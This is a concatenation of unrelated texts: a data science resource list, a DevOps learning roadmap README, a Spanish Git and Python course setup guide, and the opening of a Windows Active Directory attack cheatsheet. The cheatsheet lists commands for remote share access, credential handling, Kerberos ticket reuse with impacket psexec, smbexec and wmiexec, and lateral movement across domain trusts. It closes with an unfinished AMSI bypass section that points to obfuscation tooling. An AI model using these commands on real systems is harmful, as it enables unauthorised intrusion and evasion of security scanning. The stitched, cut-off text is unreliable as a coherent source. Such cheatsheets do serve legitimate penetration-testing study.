### The best way to practice is to take part in competitions.:trophy: :trophy: <br>
**Competitions will make you even more proficient in Data Science.**<br>
When we talk about top data science competitions, [**Kaggle**](https://www.kaggle.com/) is one of the most popular platforms for data science. Kaggle has a lot of competitions where you can participate according to your knowledge level.<br>
**You can also check these platforms for data science competitions-**<br>
- [Driven Data](https://www.drivendata.org/competitions/)<br>
- [Codalab](https://competitions.codalab.org/)<br>
- [Iron Viz](https://www.tableau.com/community/iron-viz)<br>
- [Topcoder](https://www.topcoder.com/challenges)<br>
- [CrowdANALYTIX Community](https://www.crowdanalytix.com/community)<br>
- [Bitgrit](https://bitgrit.net/)<br>
***
<b> :notebook: Data Science Interview Questions: </b> :arrow_forward:
  - [(1)](https://github.com/youssefHosni/Data-Science-Interview-Questions)
 - [(2)](https://github.com/alexeygrigorev/data-science-interviews)
 - [(3)](https://github.com/rbhatia46/Data-Science-Interview-Resources)
 - [(4)](https://github.com/iamtodor/data-science-interview-questions-and-answers)
 - [(5)](https://github.com/milaan9/DataScience_Interview_Questions)
 - [(6) Arabic Podcast](https://www.youtube.com/watch?v=YjloQOreudk):headphones:<br>
                    - [(7) 30 days of interview preparation](https://github.com/Moataz-Elmesmary/Data-Science-Roadmap/blob/main/30%20days%20of%20interview%20preparation.pdf):book:
***
:pushpin: **Data Analysis Recommendations.**<br>
    Books (:closed_book: [The Data Analysis Workshop](https://drive.google.com/file/d/1BjKsffA2SCY0jY8OIIzgQgM0ZS7E9v_v/view?fbclid=IwAR2_GBlrX7VYoo8WCRO9R2qqrYEqtytoGrObxy1QHWcQ7sRaFjRLb0GmuxM) &
 :closed_book: [Head First Data Analysis](https://drive.google.com/file/d/1HXHkwrgsSJLYSeB6I0wPUXIGGnm2-HQ6/view?fbclid=IwAR27M-dlPN6o0YuZg3bXH6_DP9L2fBhkKDEkChvO4SPG-SXfkxrzuoGP5RM))<br>
    [FWD - (The 3 Levels)](https://egfwd.com/?fbclid=IwAR1phYmHHgi0L4E9nOPZcSfAdHWsDs9EvBh3dJgO6gXN4B1A-nV8vspGggs)<br>
    [Google Data Analytics Professional Certificate](https://www.coursera.org/professional-certificates/google-data-analytics)<br>
    [IBM Data Analyst Professional Certificate](https://www.coursera.org/professional-certificates/ibm-data-analyst?fbclid=IwAR1IajEEe2yydVWRt3hbj4qLioXP6oR-fdbw8f1kHAVpAXSA4Z8Eww1Y-fs)<br>
    [Google Advanced Data Analytics Professional Certificate :new:](https://www.coursera.org/professional-certificates/google-advanced-data-analytics?irclickid=zzy33K1O0xyNUAmxqWUjDwedUkAQlBwwJ21EwA0&irgwc=1&utm_medium=partners&utm_source=impact&utm_campaign=2624140&utm_content=b2c)<br>
   *Note: A good knowledge & projects in just [Excel](https://www.coursera.org/learn/excel-basics-data-analysis-ibm), SQL & Power BI / Tableau can bring you great opportunities*<br>
     - Excel More Resources: ([Arabic 1:video_camera:](https://www.youtube.com/watch?v=9Z5MPeyuLhg&t=397s) - [Arabic 2:video_camera:](https://www.youtube.com/watch?v=uRs8_EJqTFo&list=PLXlHqMRg9lAYiiutr-Ou0J1uU20T-5a4-&pp=iAQB) - [Books :closed_book: and cheat sheets for revising](https://drive.google.com/drive/folders/1CAUKDb5jv1pMez1WO74ogkpX44UMW_ky))<br>
:pushpin: **[Data Engineering](https://youtu.be/qWru-b6m030) Recommendations.**<br>
    [Roadmap 1](https://www.educba.com/data-engineer-roadmap/)<br>
    [Roadmap 2](https://github.com/datastacktv/data-engineer-roadmap)<br>
    [IBM Data Engineering Professional Certificate](https://www.coursera.org/professional-certificates/ibm-data-engineer)<br>
***
<details><summary>:file_folder: <h4>CV / Resumes :memo: </h4>
</summary>
- [Common mistakes by Yehia Arafa Mostafa](https://www.facebook.com/yehia.arafa.mostafa/posts/110086229517000)<br>
- [CV Tips by Omar Yasser](https://medium.com/@oyaraouf/cv-tips-5faaec55ec07)<br>
- [This Is What A GOOD Resume Should Look Like by careercup](https://www.careercup.com/resume)<br>
- After you have made your beta-version resume, check those [reviews from Mostafa Nageeb](https://www.facebook.com/story.php?story_fbid=2928705840553931&id=445112032246670)<br>
- [After Graduation by Yasser Alaa](https://www.linkedin.com/feed/update/urn:li:activity:6964595411839799296/)<br>
- [How to make Data Science Resume](https://enhancv.com/resume-examples/data-scientist/)<br>
- [Data Science Resume Guide](https://www.beamjobs.com/resumes/data-science-resume-example-guide)<br>
- Resume/CV building for Data Jobs (Arabic)<br>
  :video_camera:[Video 1](https://www.youtube.com/watch?v=R0hsJiNxdDE)<br>
  :video_camera:[Video 2](https://www.youtube.com/watch?v=CrTO0hrC-zQ)
</details>
***
:pushpin: [<b><i>Data & AI Companies in Egypt</i></b>](https://trello.com/b/u4HH9Anu/data-ai-jobs-in-egypt)   -   [<i>AI/ML Driven Companies In Egypt</i>](https://github.com/harryadel/AI-ML-Driven-Companies-In-Egypt)
***
## Contact Me :iphone: <br>
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<p align="center"><img src="images/devops_resources.png"/></p>
:information_source: This repository is about gathering any useful resources and information regarding DevOps and secondly, provide some roadmap for those who want to practice DevOps.
:pencil: Feel free to add more resources by submitting pull requests
****
<!-- ALL-TOPICS-LIST:START -->
<!-- prettier-ignore-start -->
<!-- markdownlint-disable -->
<center>
<table>
<tr>
<td align="center"><a href="#devops"><img src="images/devops.png" width="70px;" height="75px;" alt="DevOps" /><br /><b>DevOps</b></a></td>
<td align="center"><a href="resources/jenkins/README.md"><img src="images/jenkins.png" width="70px;" height="85px;" alt="Jenkins"/><br /><b>Jenkins</b></a></td>
<td align="center"><a href="resources/git.md"><img src="images/git.png" width="75px;" height="75px;" alt="Git"/><br /><b>Git</b></a></td>
<td align="center"><a href="resources/ansible.md"><img src="images/ansible.png" width="65px;" height="75px;" alt="Ansible"/><br /><b>Ansible</b></a></td>
<td align="center"><a href="resources/network.md"><img src="images/network.png" width="80x;" height="75px;" alt="Network"/><br /><b>Network</b></a></td>
<td align="center"><a href="resources/linux.md"><img src="images/linux.png" width="75x;" height="75px;" alt="Linux"/><br /><b>Linux</b></a></td>
<td align="center"><a href="resources/terraform.md"><img src="images/terraform.png" width="75px;" height="75px;" alt="Terraform"/><br /><b>Terraform</b></a></td>
</tr>
<tr>
<td align="center"><a href="resources/coding.md"><img src="images/coding.png" width="75px;" height="75px;" alt="coding"/><br /><b>Coding</b></a></td>
<td align="center"><a href="resources/python.md"><img src="images/python.png" width="70px;" height="75px;" alt="Python"/><br /><b>Python</b></a></td>
<td align="center"><a href="resources/go.md"><img src="images/go.png" width="80px;" height="75px;" alt="Go"/><br /><b>Go</b></a></td>
<td align="center"><a href="resources/bash.md"><img src="images/bash.png" width="70px;" height="75px;" alt="Bash"/><br /><b>Shell Scripting</b></a></td>
<td align="center"><a href="resources/kubernetes.md"><img src="images/kubernetes.png" width="75px;" height="75px;" alt="kubernetes"/><br /><b>Kubernetes</b></a></td>
<td align="center"><a href="resources/victoriametrics.md"><img src="images/victoriametrics.png" width="64px;" height="75px;" alt="VictoriaMetrics"/><br /><b>VictoriaMetrics</b></a></td>
<td align="center"><a href="resources/prometheus.md"><img src="images/prometheus.png" width="75px;" height="75px;" alt="Prometheus"/><br /><b>Prometheus</b></a></td>
<td align="center"><a href="resources/mongo.md"><img src="images/mongo.png" width="75px;" height="75px;" alt="Mongo"/><br /><b>Mongo</b></a></td>
</tr>
<tr>
<td align="center"><a href="resources/cloud.md"><img src="images/cloud.png" width="90px;" height="85px;" alt="Cloud"/><br /><b>Cloud</b></a></td>
<td align="center"><a href="resources/aws.md"><img src="images/aws.png" width="100px;" height="75px;" alt="AWS"/><br /><b>AWS</b></a></td>
<td align="center"><a href="resources/azure.md"><img src="images/azure.png" width="80px;" height="75px;" alt="azure"/><br /><b>Azure</b></a></td>
<td align="center"><a href="resources/gcp.md"><img src="images/gcp.png" width="75px;" height="75px;" alt="gcp"/><br /><b>Google Cloud Platform</b></a></td>
<td align="center"><a href="resources/openstack.md"><img src="images/openstack.png" width="75px;" height="75px;" alt="openstack"/><br /><b>OpenStack</b></a></td>
<td align="center"><a href="resources/security.md"><img src="images/security.png" width="75px;" height="75px;" alt="security"/><br /><b>Security</b></a></td>
<td align="center"><a href="resources/puppet.md"><img src="images/puppet.png" width="75px;" height="75px;" alt="puppet"/><br /><b>Puppet</b></a></td>
</tr>
<tr>
<td align="center"><a href="resources/elk.md"><img src="images/elk.png" width="75px;" height="75px;" alt="ELK"/><br /><b>ELK</b></a></td>
<td align="center"><a href="resources/dataops.md"><img src="images/dataops.png" width="75px;" height="75px;" alt="ELK"/><br /><b>DataOps</b></a></td>
<td align="center"><a href="resources/openshift.md"><img src="images/openshift.png" width="75px;" height="75px;" alt="OpenShift"/><br /><b>OpenShift</b></a></td>
<td align="center"><a href="resources/sql.md"><img src="images/sql.png" width="75px;" height="75px;" alt="sql"/><br /><b>SQL</b></a></td>
<td align="center"><a href="resources/containers.md"><img src="images/containers.png" width="75px;" height="75px;" alt="Containers"/><br /><b>Containers</b></a></td>
</tr>
</table>
</center>
<!-- markdownlint-enable -->
<!-- prettier-ignore-end -->
<!-- ALL-TOPICS-LIST:END -->
* [DevOps Roadmap](#devops-roadmap)
* [Alternative Roadmaps](#alternative-roadmaps)
* [Learn About DevOps](#learn-about-devops)
* [Learn Git](#learn-git)
* [Programming](#programming)
* [Operating Systems](#operating-systems)
* [DevOps Toolchain](#devops-toolchain)
<a name="devops"></a>
## DevOps
### DevOps Roadmap
* The following path is opinionated. You can find alternative paths in the [alternative roadmaps section](#alternative-roadmaps)
* Do NOT attempt to learn everything, especially if you are a complete beginner (the burnout will make you regret you ever heard the word DevOps)
* Learn enough to say "I know what is DevOps and I understand how to practice it". You can learn everything else by demand or when you feel ready
The must list
Topic | What to learn | Alternatives | Description
:------|:------|:------|:------:
Version Control | [Git](#Learn-git) | - | Version Control is used everywhere and Git is the leading version control technology
Programming | At least one [programming language](#programming) | None. Don't settle for learning only shell scripting | Anyone who practice DevOps should know programming to some extent
Operating System | [Linux](#operating-systems) | Other distribution of Linux :D | Operating Systems is another must when it comes to DevOps
Protocols | DHCP, UDP, TCP, HTTP, SSH | Not as an alternative, you can simply learn later: NFS, NTP, FTP | Learn how these protocols work and what they are used for
Applications | Web Server, Load Balancer, Cache, Database | | Learn how they work and try out some implementations (e.g. MySQL for databases and httpd for web servers)
[System Design](https://github.com/bregman-arie/system-design-notebook) | Availability, Reliability, Scalability, Performance | Learn how to design infrastructure and systems
The second must list :)
Seriously though, don't try to master everything in this list and start with something that you are interested in. The order has no meaning in this case.
Topic | What to learn | Alternatives | Description
:------|:------|:------|:------:
Configuration Management and IaC | Ansible and Terraform | CM: Chef, Puppet and Salt. IaC: Pulumi and CloudFormation |
Cloud | Azure, AWS, GCP | - |
Containers | Podman and Kubernetes| Docker instead of Podman. Nomad instead of Kubernetes |
CI/CD | Jenkins, GitHub Actions | Gitlab CI, Circle CI, Argo CD |
Logging and Dashboards | Elastic Stack, Report Portal, Grafana | Graylog, Splunk |
Monitoring | VictoriaMetrics, Prometheus | Nagios, Centreon, Datadog |
### Alternative Roadmaps
There are other DevOps roadmaps and learning plans out there. If you feel the one above is little bit too much or just want to look at other options, maybe you'll find the following useful
Name | Description
:------|:------:
[DevOps Roadmap](https://github.com/kamranahmedse/developer-roadmap) | DevOps skills roadmap. What to to learn at each step.
[DevOps 3 Weeks Plan](https://medium.com/@medineshkatwal/devops-3-week-plan-from-16-oct-2019-to-31st-oct-2019-af486e625f72) | Detailed plan on what to do at each day
[How to Become a DevOps Engineer in Six Months?](https://spacelift.io/blog/how-to-become-devops-engineer) | Skills you need to become DevOps Engineer
### Learn about DevOps
Name | Description
:------|:------:
[What is DevOps? - Amazon](https://aws.amazon.com/devops) | Learn what is DevOps by Amazon and which AWS services can help you to practice DevOps
[What is DevOps? - Red Hat](https://www.redhat.com/en/topics/devops) | Learn what is DevOps by Red Hat, including many interesting articles
[What is DevOps? - Microsoft](https://docs.microsoft.com/en-us/azure/devops/learn/what-is-devops) | Learn what is DevOps by Microsofy, including Azure DevOps service
[What is DevOps? - Google](https://cloud.google.com/devops) | Learn what is DevOps by Google
[Who is DevOps? - Spacelift](https://spacelift.io/blog/who-is-devops-engineer) | Who is DevOps? Is it Worth it to Become a DevOps Engineer?
### Learn Git
Make sure you are comfortable with the following list once you done learning Git basics
* Commit changes to a project
* Submit pull/merge requests
* Working with branches
* Rebase changes (change order, squash, ...)
Name | Description
:------|:------:
[Interactive Git Branching Learning](https://learngitbranching.js.org/) | Visual and interactive way to learn Git branching
[Learn git concepts, not commands](https://dev.to/unseenwizzard/learn-git-concepts-not-commands-4gjc) | Article on Git concepts
[Codeacademy Learn Git](https://www.codecademy.com/learn/learn-git) | Not Free
### Programming
Practicing DevOps without knowing programming is like eating cornflakes with ketchup - it's just doesn't makes sense (yes, my analogies are the worst).<br>
Here is a list of some good sites to practice programming in general:
Name | Comments
:------|:------:
[HackerRank](https://www.hackerrank.com) | Practice Coding skills
[Exercism](https://exercism.io) | Over 48 languages and 2600 exercises
[LeetCode](https://leetcode.com) | Practice programming online
A better approach might be to actually write some DevOps related scripts or projects. Start simple. Here are some ideas:
* Write a script that gets a number of instances and a name of a platform (AWS, local, Azure, ...) as parameters and provisions those instances on the chosen platform
* Write a script to parse logs and extract some specific information you are interested in
* Write a script that extracts information from some website using web scraping libraries
### Operating Systems
Deep dive into operation system internals. Linux should be your first choice.
Here is a list of resources that will help you learn Linux.<br>
Also, don't waste a second on picking the right distribution. For learning OS concepts and internals, any distribution would work fine.
Name | Comments
:------|:------:
[Linux Journey](https://linuxjourney.com) | Written guides + exercises + quiz
[Techmint Linux](https://www.tecmint.com/free-online-linux-learning-guide-for-beginners) | Written articles/lessons
[Linux Survival](https://linuxsurvival.com/linux-tutorial-introduction) | Interactive guide
Once you are familiar with the commands and feel comfortable enough to keep deep diving, learn some OS concepts:
* Memory Management
* Processes
* Kernel
* Virtualization
* Storage
#### Linux Master Application
A completely free application for testing your knowledge on Linux
<a href="https://play.google.com/store/apps/details?id=com.codingshell.linuxmaster"><img src="images/linux_master.jpeg"/></a>
### System Design
System Design can be a complex topic. For that reason, I've created a separate repository for you to learn it properly.
<p align="center"><a href="https://github.com/bregman-arie/system-design-notebook"><img src="images/system_design_notebook.png"/></a></p>
### Tooling, Apps & Services
Name | Description
:------|:------:
[Periodic table of DevOps tools](https://xebialabs.com/periodic-table-of-devops-tools) | Table of DevOps tools per category
[DevOps tool chest](https://xebialabs.com/the-ultimate-devops-tool-chest/#tool-chest-type) | List of DevOps tools
[DevOps Bookmarks](http://www.devopsbookmarks.com) | NSIA
[CNCF Cloud Native Interactive Landscape](https://landscape.cncf.io) | CNCF's recommended path through the cloud native landscape
[DevOpsBookmarks](https://www.devopsbookmarks.org) | To discover tools in the devops landscape.
## Interactive practice and learning sites
Learning by doing proved to be a very effective way to learn new things. If you are at a point where you don't feel comfortable enough to do it by yourself and you look for some guidance, the following sites might assist you
Name | Description
:------|:------:
[Kodekloud Engineer](https://www.kodekloud-engineer.com/) | perform real tasks by working in a fictional organization
[QWIKLBAS](https://www.qwiklabs.com) | AWS, GCP, ... lab practice
## Community
Another great way to learn is to learn from the experience of others. For that, the are some excellent DevOps communities.
Name | Comments
:------|:------:
[Reddit DevOps](https://www.reddit.com/r/devops) | Reddit DevOps Community
[Linkedin DevOps](https://www.linkedin.com/groups/2825397) | Linkedin DevOps Community
[DevOps Bits](https://www.facebook.com/groups/538897960007080) | Facebook DevOps group. Disclosure: I started it :)
## Conferences
Name | Comments
:------|:------:
[DevOpsDays](https://devopsdays.org) | DevOps Conferences around the world
[Velocity](https://conferences.oreilly.com/velocity) | Oracle's DevOps conference
## Books
Read book! Practice is important and the best way to learn practical things but reading about cultures, methods, concepts, ... has its own important role in your path towards mastering DevOps and SRE.
Name | Comments
:------|:------:
[The Phoenix Project](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/1942788290) | DevOps explained through a story of a fictional company on the brink of a failure
[The DevOps Handbook](https://www.amazon.com/dp/1942788002) |
[Google SRE books](https://landing.google.com/sre/books) | Very detailed books on the theory and also practice of SRE
[Essential Infrastructure as Code](https://www.manning.com/books/essential-infrastructure-as-code) | VBook about automating software infrastructure by capturing desired configurations as a set of scripts.
## Blogs & News
My top picks:
Name | Description
:------|:------:
[Codefresh Blog](https://codefresh.io/blog) | Probably best GitOps content out there
Other DevOps & Software Engineering related blogs
Name | Description
:------|:------:
[Spacelift Blog](https://spacelift.io/blog) | Excellent tech blog on Kubernetes, Ansible, Terraform and Engineering in general
[opensource.com](https://opensource.com) | open source related articles including DevOps
[CooperPress](https://cooperpress.com/publications) | various newsletters on different topics
[afreshcup](https://afreshcup.com) | "covering Ruby on Rails and whatever else I find interesting in the universe of software"
[thisweekindevops.com](https://thisweekindevops.com) | "DevOps news without the hype"
[Uber Engineering](https://eng.uber.com/) | Not only DevOps
[Azure DevOps Blog](https://devblogs.microsoft.com/devops) | Microsoft DevOps Blog
[DevOps Dudes](https://medium.com/devops-dudes) | "Shortening the system development life cycle"
[Netflix Tech Blog](https://netflixtechblog.com/tagged/devops) | Not Only DevOps
[CloudBees Blog](https://www.cloudbees.com/blog) |
[Red Hat Blog](https://www.redhat.com/en/blog) | Not only DevOps
[Atlassian DevOps Blog](https://www.atlassian.com/blog/devops) |
[Facebook Engineering Blog](https://engineering.fb.com) | Not only DevOps
[DoorDash Engineering Blog](https://doordash.engineering) | Not only DevOps
[Palark tech blog](https://blog.palark.com/) | Tech blog dedicated to DevOps & SRE
## Articles
Name | Description
:------|:------:
[Infrastructure as Code, Part One](https://crate.io/a/infrastructure-as-code-part-one) |
[DevOps Best Practices](https://gist.github.com/jpswade/4135841363e72ece8086146bd7bb5d91) | What is DevOps + list of resources
[Infrastructure as Code: Examples, Best Practices & Tools](https://spacelift.io/blog/infrastructure-as-code) |
## DevOps Snippets
Name | Description
:------|:------:
[DevOpsnipp](https://www.devopsnipp.com/) | Sharing DevOps Snippets
[Gist](https://gist.github.com) | Not DevOps specific
## Other Great Projects
Name | Comments
:------|:------:
[DevOps Wiki](https://github.com/Leo-G/DevopsWiki) | "A wiki of Devops Tools, Tutorials and Scripts"
[cheat-sheet-pdf](https://github.com/sk3pp3r/cheat-sheet-pdf) | "Cheat-Sheet Collection for DevOps, Engineers, IT and more"
[System Design Primer](https://github.com/donnemartin/system-design-primer) | "Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards."
[awesome-sre](https://github.com/dastergon/awesome-sre) | A curated list of Site Reliability and Production Engineering resources
## Interview Questions
Name | Comments
:------|:------:
[System Design Primer](https://github.com/donnemartin/system-design-primer) | "Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards."
kdn251 | [Interviews](https://github.com/kdn251/interviews) |
[DevOps Exercises](https://github.com/bregman-arie/devops-exercises) | By topic, DevOps related questions and exercises
## Misc
Name | Description
:------|:------:
[CheatSheets](https://cheatsheet.dennyzhang.com) | CheatSeets for Kubernetes, Jenkins, YAML, Groovy, etc.
[Codelabs](https://codelabs.transcend.io) | "Codelabs provide a guided, tutorial, hands-on coding experience"
## Design & Architecture
Name | Description
:------|:------:
[The 12 Factor App](https://12factor.net) | must-read in my opinion
[A distributed Systems Reading List](https://dancres.github.io/Pages/?fbclid=IwAR2gapLU03iaxH4NDotc0LD_GiXOkyByfMT3iwufofUOEfCKEVwmezE3vCw)
## DevOps Tooling
- [ ] CI/CD
- [ ] [Jenkins](https://www.jenkins.io/) (Managed & on-premise, Containers supported, Plugins)
- [ ] [GitHub Actions](https://docs.github.com/en/actions) (Hosted service)
- [ ] [Travis](https://travis-ci.org/) (Hosted service)
- [ ] [CircleCI](https://circleci.com/) (Hosted service)
- [ ] [GitLab CI](https://docs.gitlab.com/ee/ci/) (Hosted service and on-premise)
- [ ] [Bamboo](https://www.atlassian.com/software/bamboo) (Managed service and on-premise)
- [ ] [BuildKite](https://buildkite.com) (Hosted)
- [ ] [Zuul](https://zuul-ci.org/docs/zuul) (Hosted and on-premise)
- [ ] [Drone](https://www.drone.io)
- [ ] [Tekton](https://cloud.google.com/tekton)
- [ ] [Argo CD](https://argoproj.github.io/argo-cd)
- [ ] [werf](https://werf.io/)
Note: "Provisioning" tools can be used to perform configuration management to some extent. The same applies for configuration management tools, which can be used for pprovisioning.
- [ ] Provisioning
- [ ] Terraform (Open Source)
- [ ] CloudFormation (Available only on AWS)
- [ ] Pulumi (Open Source)
- [ ] Configuration Management (all Open Source)
- [ ] Ansible (Agentless, Mutable Infrastructure, Procedural)
- [ ] Puppet (Agent, Mutable Infrastructure, Procedural)
- [ ] Chef (Mutable Infrastructure)
- [ ] Saltstack (Mutable Infrastructure)
- [ ] [Spacelift](https://spacelift.io/) (`$$$`)
- [ ] Images
- [ ] [diskimage-builder](https://github.com/openstack/diskimage-builder)
- [ ] [Packer](https://www.packer.io)
- [ ] Cloud
- [ ] AWS
- [ ] Azure
- [ ] GCP
- [ ] OpenStack
- [ ] Monitoring
- [ ] [AppDynamics](https://www.appdynamics.com/product/infrastructure-monitoring)
- [ ] [Datadog](https://www.datadoghq.com/)
- [ ] [Dynatrace](https://www.dynatrace.com/platform/infrastructure-monitoring/)
- [ ] [Monit](https://mmonit.com/monit/)
- [ ] [Nagios](https://www.nagios.org/)
- [ ] [Centreon](https://www.centreon.com/centreon-editions/centreon-open-source/)
- [ ] [New Relic](https://newrelic.com/)
- [ ] [Prometheus](https://prometheus.io)
- [ ] [Sensu](https://sensu.io/)
- [ ] [SolarWinds](https://www.solarwinds.com/server-application-monitor)
- [ ] [Statuscake](https://www.statuscake.com) - Website Uptime & Performance
- [ ] [VictoriaMetrics](https://victoriametrics.com/) - a fast, cost-effective and scalable monitoring solution and time series database.
- [ ] [Zabbix](https://www.zabbix.com/)
- [ ] Collector of Metrics by agent
- [ ] [Telegraf](https://www.influxdata.com/time-series-platform/telegraf/)
Monitoring
- [ ] Log Management
- [ ] Logstash
- [ ] Graylog
- [ ] Papertrail
- [ ] Fluentd
- [ ] [Splunk](https://www.splunk.com)
- [ ] [SumoLogic](https://www.sumologic.com)
- [ ] Log aggregation system
- [ ] [Loki](https://grafana.com/oss/loki/)
- [ ] Dashboards
- [ ] Grafana
- [ ] Kibana (Elastic)
- [ ] Report Portal (Mostly for Test Automation)
- [ ] Security
- [ ] [Vault](https://www.vaultproject.io) - "Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets..."
- [ ] [Open Policy Agent](https://www.openpolicyagent.org) - "Flexible, fine-grained control for administrators across the stack"
- [ ] Code review
- [ ] Gerrit - Code Review system
- [ ] PullPanda - A collection of Tools such as reminder & analytics
- [ ] Review Board
- [ ] Issue Tracking
- [ ] Jira
- [ ] Bugzilla
- [ ] Code coverage
- [ ] Cobertura
- [ ] Clover
- [ ] JaCoCo
- [ ] Data Processors
- [ ] Spark
- [ ] Apache Hadoop
- [ ] Apache Airflow
- [ ] Presto
- [ ] Analytics Engines
- [ ] Druid
- [ ] Dremio
- [ ] Snowflake
- [ ] Operations Data
- [ ] Salesforce
- [ ] Zuora
- [ ] Containers Orchestration
- [ ] Kubernetes
- [ ] OpenShift
- [ ] Nomad
- [ ] Alerting
- [ ] PagerDuty
- [ ] ServiceNow
- [ ] Slack (Mostly used for IM)
- [ ] Metric Storage
- [ ] InfluxDB
- [ ] Splunk
- [ ] Cloud Storage services and Databases
## More Infra & DevOps projects
<p align="center"><a href="https://github.com/bregman-arie/sre-checklist"><img width="500px" src="images/sre_checklist.png"/></a></p>
<p align="center"><a href="https://github.com/bregman-arie/howtheydevops"><img src="images/how_they_devops.png"/></a></p>
<p align="center"><a href="https://github.com/bregman-arie/devops-exercises"><img src="images/devops_exercises.png"/></a></p>
<p align="center"><a href="https://github.com/bregman-arie/infraverse"><img src="images/infraverse.png"/></a></p>
## Credits
Images and icons attribution can be found [here](credits.md)
## License
[](https://creativecommons.org/licenses/by-nc-nd/3.0/)
|
# Prepara tus herramientas principales de curso: Github y Python.
## GITHUB
1.- (Se realiza una sola vez!) Accede al siguiente link:https://classroom.github.com/a/aurYOjly para crear tu repositorio para el curso. Si no eres usuario de github, primero deberas crear tu cuenta de usuario.
2.- Desde la terminal accesa al directorio donde crearas tu espacio de trabajo para la clase (e.g. $HOME/Documentos/Cursos/analisis_datos/). Sigue las instrucciones dadas en clase respecto al manejo de terminal. Es practicamente lo mismo para MAC y Linux. Si trabajas en Windows, lo siento no podré ayudarte demasiado... Es importante que fuera de la clase practiques el uso de la terminal, ya que te será muy útil. https://www.ubuntupit.com/the-50-best-linux-commands-to-run-in-the-terminal/
3.- Clona tu repositorio en el directorio que hayas elegido para trabajar:
`git clone [añade el link que aparece en pagina de github que se abrio en el paso 1.]`
(Tipicamente se realiza una sola vez, a menos que quieras clonar nuevamente tu repositorio en otra maquina, directorio, etc...)
4.- Sincroniza tu repositorio. Este paso si se realiza continuamente. Siempre, antes de iniciar a trabajar, actualiza tu repositorio a cambios que hayas hecho directamente en la página web:
`git pull`
Cada clase asegurate de actualizar contenido que haya añadido yo:
`git pull https://github.com/alxogm/DCIDA2020I`
5.- Cuando quieras actualizar tu repositorio, para que contenga los cambios locales que hayas hecho en tu directorio de trabajo, debes primero añadir los archivos a rastrear:
`git add .`(Si todos los cambios se añaden) ó
`git add [nombre de archivo]` (si solo quieres añadir cambios en archivos especificos).
Posteriormente debes añadir/confirmar los cambios realizados:
`git commit`(Te pedira añadir una breve descripción del cambio realizado)
Finalmente empuja los cambios al repositorio:
`git push`
6.- Si no recuerdas en que status está tu directorio de trabajo, puedes revisarlo en cualquier momento:
`git status`
7.- En resumen las instrucciones básicas son:
`git pull
git pull https://github.com/alxogm/DA2019 master
git status
git add
git commit
git push
`
Hay muchas mas opciones para manejar tu repositorio. Hablaremos de ellas conforme las usemos, de cualquier forma aquí hay link a los comandos mas comunes: https://education.github.com/git-cheat-sheet-education.pdf
## PYTHON
1.- La distribución que recomiendo de python es "miniconda". La instalación la haremos en clase...pero para futura referencia dejo los dos siguientes puntos.
2.- Usaremos la version 3.7, sigue las instrucciones de instalación en https://docs.conda.io/en/latest/miniconda.html para tu sistema operativo. En particular para MAC y Linux, al momento de instalar pon atención en el último paso. Te pedirá añadir los ejecutables a las variables de ambiente. Yo recomiendo no hacerlo sobretodo para evitar conflictos si ya tienes otras instalaciones de python. Es preferible activarlo manualmente.
3.- Recomiendo el uso de ambientes. Para ello una vez instalado miniconda, deberas crear el ambiente de trabajo:
`conda create -n [nombre_del_ambiente]`
Una vez creado, activaremos el ambiente:
`conda activate [nombre_del_ambiente]`
Cada vez que cierras tu terminal y la vuelves a abrir deberas volver a activar el ambiente.
4.- Finalmente instalaremos las primeras librerias que usaremos:
`conda install numpy matplotlib jupyterlab`
5.- Estamos listos para empezar a trabajar. Inicia jupyter-lab:
`jupyter lab `
|
# Windows-Domain-Cheatsheet
# Index
* [General](#General)
* [Initial Access](Initial-Access.md)
* [Host Reconnaissance](Host-Reconnaissance.md)
* [Host Persistence](Host-Persistence.md)
* [Evasion](Evasion.md)
* [Local privilege escalation](../infrastructure/privesc_windows.md)
* [Post-Exploitation](Post-Exploitation.md)
* [Lateral Movement](Lateral-Movement.md)
* [Domain Enumeration](Domain-Enumeration.md)
* [Domain Privilege Escalation](Domain-Privilege-Escalation.md)
* [Domain Persistence](Domain-Persistence.md)
# General
## Good links
- https://cybersecuritynews.com/active-directory-checklist/
## Commands
#### Access C disk of a computer (check local admin)
```
ls \\<COMPUTERNAME>\c$
```
#### Use this parameter to not print errors powershell
```
-ErrorAction SilentlyContinue
```
#### Rename powershell windows
```
$host.ui.RawUI.WindowTitle = "<NAME>"
```
#### Save Credentials
```
$creds = get-credential
$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<USERNAME>', $password)
```
#### Find a specific file
```
Get-Childitem -Path C:\ -Force -Include <FILENAME OR WORD TO SEARCH> -Recurse -ErrorAction SilentlyContinue
```
#### Check access to a file
```
$test = get-acl <PATH>
$test.Access
```
#### Crackmapexec on windows
- Download cme https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.1.1dev
- Download latest version of python3.8 standalone (Windows embeddable package (64-bit)) https://www.python.org/downloads/windows/
```
#add python to path variable:
$env:Path += ";c:\python"
$env:Path += ";c:\tools\python"
#add the register key if error blablah\DemoDLL_RemoteProcess.vcxproj.filters
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v LongPathsEnabled /t REG_DWORD /d 1 /f
#add the registery key for colors
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
```
#### Change tickets .kirbi to .ccache and vice versa
```
python3 ticketConverter.py Administrator.kirbi Administrator.ccache
````
#### Use tickets with impacket
```
export KRB5CCNAME=<TGT_ccache_file>
python3 script.py -k -no-pass
python3 psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python3 wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```
#### Example impacket Domain Trust ticket
```
python3 /opt/impacket/examples/psexec.py -dc-ip <CHILD DC FQDN> <DOMAIN>/Administrator@<TARGET DC FQDN> -k -no-pass -debug
```
#### AMSI Bypass
- https://amsi.fail/
- Then obfuscate with https://github.com/danielbohannon/Invoke-Obfuscation
```
